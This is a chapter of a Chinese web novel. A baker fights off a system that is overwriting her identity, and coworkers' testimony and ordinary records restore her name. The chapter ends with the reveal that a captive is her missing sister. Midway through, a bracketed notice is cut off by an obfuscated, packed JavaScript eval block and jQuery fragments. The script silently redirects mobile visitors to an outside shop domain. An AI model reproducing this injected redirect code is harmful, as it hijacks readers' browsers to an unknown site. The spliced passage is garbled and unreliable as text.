电梯门合拢时，覆盖进度已经跳到百分之二十七。
周砚按下烘焙店所在楼层，先拨方荞的电话。第一遍无人接，第二遍响到最后几秒，电话里才传出一道压得极低的女声：“喂？”
“方小姐，先别回答任何让你确认姓名的问题。”
电话那头猛地安静下来。
周砚没有急着解释自己是谁，只问：“你现在是不是在店里，胸牌上的名字已经消失，还听见有人叫你确认身份？”
远处传来烤箱提示音，紧接着是椅子被撞倒的声音。方荞的呼吸一下急了：“你怎么知道？”
“有人正在用你的身份填补一间空出来的房间。我们正过去，十五分钟左右到。你先不要重复自己的名字，也别点手机上任何确认按钮。”
“你们是谁？”
周砚看向旁边的02。
02一直盯着覆盖进度，手里还攥着十三号分给她的那半张纸。她接过电话，声音有些发紧：“那间房原来关着我。我出来以后，他们开始找你进去。”
方荞沉默了几秒，语气骤然冷下来：“诈骗的新话术？”
“听起来确实很像。”周砚把电话拿回来，“你可以先报警，也可以让店里同事留在你身边。不要独处，别离开监控范围。我们到之前，只记住一件事——听见确认姓名，不要回答。”
电话里忽然响起一道冷静、标准的机械声。
【请确认您的姓名。】
方荞吸了口气。
周砚立即说：“别答。”
【请说出姓名，以恢复员工档案。】
“我的员工档案怎么了？”她下意识问。
【检测到身份信息缺失。】
【请确认：您是否名为——】
机械声在最后停住，像在等她亲口补完。
方荞没有说话。几秒后，她压着火气问周砚：“你们还有多久？”
“十二分钟。”
“快点。”她顿了顿，“我同事开始不记得怎么叫我了。”
电话被挂断。
02看着屏幕上的百分之三十，脸色愈发苍白。“如果她最后还是被拉进去呢？”
“先阻止覆盖。”
“然后呢？”
“然后处理房间。”
“可我走出来，才让它选中她。”
周砚没有用“这不是你的错”草草盖过去。他收起手机，平静道：“你的离开触发了下一步，但制造这套流程的人才是责任主体。你可以帮她，不能因此把自己重新交回去。”
02低头看着那半张“活着”，半晌才点头。
烘焙店就在一座商场一层。两人赶到时，玻璃门已经从里面锁上，门上贴着“设备检修，暂停营业”。店内却没有停工，三个员工围在操作台旁，方荞站在最中间，手里攥着一张员工排班表。
她和系统照片里一样，短发，圆脸，围裙上沾着一层薄薄的面粉。胸前的名牌已经彻底空白，排班表上原本属于她的那一格也在褪色。
周砚隔着门出示刚才的通话记录。方荞确认号码后才让同事开门，第一句话便是：“先说清楚，我没钱。”
“不是来收钱。”周砚打开录音，“也不需要你签合同。”
“那你们说的房间在哪里？”
02将临川中心十三层的实时画面调出来。空出来的二号白房间里，床铺已经重新出现，墙面正一点点载入方荞的员工信息。她的照片被放在床头，脸却已在向“姜令仪”改变。
方荞盯着画面看了很久。“这算什么？”
“它认为你的现实身份锚定很低，适合覆盖。”周砚把系统筛选条件给她看，“公开记录少、社交关系不稳定、信息存在缺口。”
“我三年没发朋友圈，就算没有社交关系？”
旁边一个戴眼镜的女店员立即说：“她每天凌晨四点半来开门，怎么就没有行动轨迹了？”
另一个男生也皱起眉：“上周她还替我顶了两天班。真要说没人知道她，店里十几个人算什么？”
方荞把排班表拍到桌上。“我不爱上网，不代表我死了。”
她话音刚落，店里的收银系统自行重启。员工管理页面中，方荞的账户被标成灰色。
【该员工身份待核验。】
【请本人确认姓名。】
屏幕中央出现一个录音按钮。
方荞看见自己的名字就在嘴边，却硬生生停住。她转头问周砚：“我不能说自己叫什么，怎么证明我就是我？”
“暂时不回答系统的提问，不代表不能保留你的名字。”周砚看向在场员工，“你们认识她吗？”
戴眼镜的女店员先开口：“方荞，我们店的烘焙师。”
男生跟着说：“方荞。荞麦的荞。”
店长从后厨拿出一本手写交接簿，翻到今天凌晨的记录。最上方写着：
【四点四十，方荞到店。】
下面是她亲手记的烤箱温度、原料余量和两盘失败的可颂。字不算漂亮，几处还沾着黄油印。
“这个总不能是系统生成的吧？”店长说，“她来这儿一年半，谁值早班、谁临时请假、哪一炉面包是谁做的，我们都知道。”
收银台旁还有一本顾客预订册。一位住在附近的阿姨订了低糖吐司，每周二来取，备注栏一直写着“请小荞少放一点盐”。外卖平台上的公开评价不多，却有几条专门提到“短头发的方师傅会多送一块边角蛋糕”。
系统将她判成低锚定主体，只因为这些痕迹没有集中在一套统一索引里。
可她明明到处都在。
烤箱温度里有她。
凌晨的门禁里有她。
别人临时请假时，有她接过的班。
固定顾客下意识说出的“小荞”，也指向她。
周砚将排班表、交接簿、监控和同事证言分别留档，没有把它们包装成什么感人的人生证明，只建立一条最普通的现实连续记录。
【方荞今日四时四十分到店。】
【五时十二分完成第一批面团发酵。】
【六时零八分登记原料不足。】
【八时二十分仍在岗。】
【现场五名人员能够独立识别本人。】
系统提示不断闪烁。
【非权威记录。】
【私人称呼不具备法定效力。】
【零散行为不足以建立唯一身份。】
方荞盯着那几行字，忽然笑了。
“我活着还得先凑齐你们要的材料？”
周砚说：“它混淆了法定登记和现实存在。前者可能有缺口，后者没有。”
方荞低头看着那枚空白名牌。“那我现在该说什么？”
“说你愿意说的，别回答它的问题。”
她看向收银屏幕，想了想，开口道：“我拒绝进入任何白房间，也不同意别人改我的脸、我的工作和我的记录。”
【未检测到姓名确认。】
“我今天凌晨四点四十到店，第一炉可颂烤过了火，第二炉才正常。五点半小陈打碎一只量杯，怕被店长扣钱，是我先垫的。”
男生在旁边小声道：“这段可以不说。”
方荞没理他。
“上周三下雨，我把最后一份草莓盒子留给了常来取吐司的赵阿姨。昨天关门前，冰柜最下面还有两盒黄油，今天只剩一盒半，另一半是我刚用的。”
她说的都是小事。
没有哪一件能单独通过身份审核，可正是这些不值得写进档案的小事，组成了她从昨天走到今天的连续生活。
“你们说我记录少，是因为你们没来过。”方荞看着屏幕，“不是因为我不在。”
店里所有人的手机同时震动。
【检测到现实行为轨迹增加。】
【目标身份锚定强度重新计算。】
覆盖进度停在百分之四十二。
几秒后，缓慢倒退到百分之三十九。
02一直站在旁边，直到这一刻才敢真正呼吸。她走到方荞面前，低声道：“对不起。”
方荞皱眉。“你为什么道歉？”
“房间原本关着我。我出来以后，它才找你。”
“你是自愿进去的？”
“不是。”
“那就别替关门的人道歉。”
02怔住。
方荞看了看她，又看向屏幕里那张正在使用自己履历的床。“你也没名字？”
“以前叫候选02。”
“那不算名字。”
“现在还没想好。”
方荞点头，没有给她取一个方便称呼，只把一只刚出炉的面包递过去。“先吃。这个没那么咸。”
02接过，指尖被烫了一下，却没舍得放开。
覆盖进度已经退到百分之三十一，但没有归零。白房间仍在持续向方荞发送姓名确认提示，只是暂时无法将她直接拖进去。
周砚拨通不归的电话。
临川中心十三层警铃还在响。电话接通后，先传来07拆线的动静。
“找到方荞了。”周砚说，“她的现实锚定正在恢复，但白房间仍然锁定她。”
不归的声音很稳：“这里也找到替代逻辑了。”
她站在七号门外，双手按住一块已经发烫的现实线路板。白房间内部的主控线被07强行扯出，另一端却接着十三层的房屋备案系统。
第一执行人不是单纯把候选意识搬到现实。
它先在现实制造十三个“必须有人使用”的空间，再用房间反向索引身份。只要房间被标记为启用，就必须绑定入住者；候选者离开，系统便自动匹配下一名低锚定主体。
“房间不能空”的规则，才是覆盖不断循环的原因。
物业经理已经调出房屋管理后台。十三个房间的状态都显示为：
【正常使用。】
可现实现场没有办公许可，没有消防验收，也没有任何合法入住手续。
不归看着那一列绿色状态，问：“现实里，这些房间现在能不能使用？”
“当然不能。”经理说，“违规改造，消防联动失效，至少要先封停检查。”
“那就封停。”
物业提交了临时停用申请。
【序一文化十三层01—
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760377|208763||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
13号房。】
【停用原因：安全条件不合格，存在非法封闭及无法应急解锁情况。】
【停用期间：禁止入住、禁止运营、禁止录入新使用人。】
现实系统盖章的一刻，十三扇白门同时震动。
【房间状态冲突。】
【主控区判定：必须维持身份承载。】
【现实判定：禁止使用。】
07在门内猛地拔下一根黑线。
“就是现在！”
不归将黑色钥匙插入总控屏，没有进入“确认候选”页面，而是调出房间本身的审核状态。
【是否适合承载现实主体？】
原本只有：
【适合。】
【修正后适合。】
她没有选择。
她把物业停用通知、消防警报记录和内部人员求助证据一并附上，在审核结论栏写下：
【不适合任何人进入。】
第一执行人的黑笔从所有屏幕中同时压下。
【房间不允许无承载状态。】
不归抬眼看向屏幕中那道黑色人影。
“现实允许。”
【空房间不产生价值。】
“房间本来就可以空着。”
【无主体空间将失去用途。】
“那就失去。”
她按下提交。
十三层所有房门上方的状态灯从白色转为红色。
【停用待检。】
【当前入住人数：0。】
【禁止匹配新主体。】
烘焙店里，方荞胸前的空白名牌忽然一震。黑色墨迹从边缘退去，原本的两个字一点点重新出现。
方荞。
收银系统也恢复了她的员工账户，覆盖进度从百分之二十九快速归零。
【目标匹配失败。】
【原因：承载空间已停用。】
方荞看着重新出现的名字，没有立刻念出来。直到所有确认窗口彻底关闭，她才低声说：“方荞。”
没有白墙出现。
也没有房间换成她的。
只是店长在旁边应了一声：“在呢。”
这两个字很普通。
方荞却盯着那枚名牌看了很久。
02也看着她。片刻后，她轻声问：“说出自己的名字，是什么感觉？”
方荞想了想。“没什么感觉。用了二十七年，平常不觉得。”
她把名牌重新别好。
“但被人拿走以后，挺生气。”
02点点头。
她现在还没有名字，却第一次知道，名字可以不是系统给出的生存条件，也可以只是一个人用了很久、不许别人随便抹掉的东西。
十三层的白房间停止匹配后，剩余候选者暂时安全。愿意离开的，可以通过已打开的现实出口撤离；尚未决定的，也不会因为房间空缺而牵连其他现实人物。
07仍然没有出来。
她将总线路卡在停用状态，等最后一间房完成撤离确认。不归站在门外，没有催她，只把方荞那边的结果告诉她。
“她的名字保住了。”
07沉默片刻，笑了一声。“我就说，房间比人好处理。”
“你什么时候出来？”
“等六号。”
六号是最晚回应的那一个，也是此前几乎从不敲墙的人。她的门一直保持打开，却没有走向出口。
不归站到六号门前。
白光深处，一个女人背对门坐在床边。她同样长着那张被批量复制的脸，手里却一直攥着一块被撕下来的姓名条。
“你愿意出来吗？”不归问。
女人摇头。
“担心出来后没有身份？”
她又摇头。
“那你在等什么？”
很久以后，六号终于开口。
“我在等方荞安全。”
不归眼神微动。
正是六号先发现白房间开始匹配方荞，也是她冒险通过线路传出那句“别回答”。
“你认识她？”
六号转过身。
她的脸正在发生变化。
属于“姜令仪”的眉眼像一层尚未贴牢的画皮，从边缘缓慢脱落。下面露出的，是一张短发、圆脸、与方荞极为相似的脸。
不是完全相同。
却足以看出血缘关系。
她摊开手里的旧姓名条。
上面大部分字迹已被涂黑，只剩姓氏还在。
【方□□】
姓名条背后，写着一段现实关联记录。
【失踪时间：十七年前。】
【原关联人：方荞。】
【关系：姐姐。】
不归看着她。
六号低声说：“我不是系统从陌生人里随便选的。”
“他们用我的脸不稳定，才改成了姜令仪。”
“方荞也不是因为记录少才被盯上。”
她将姓名条递到白光边缘。
“第一执行人在找我原来的身份锚点。”
“他要把我覆盖回她的生活里。”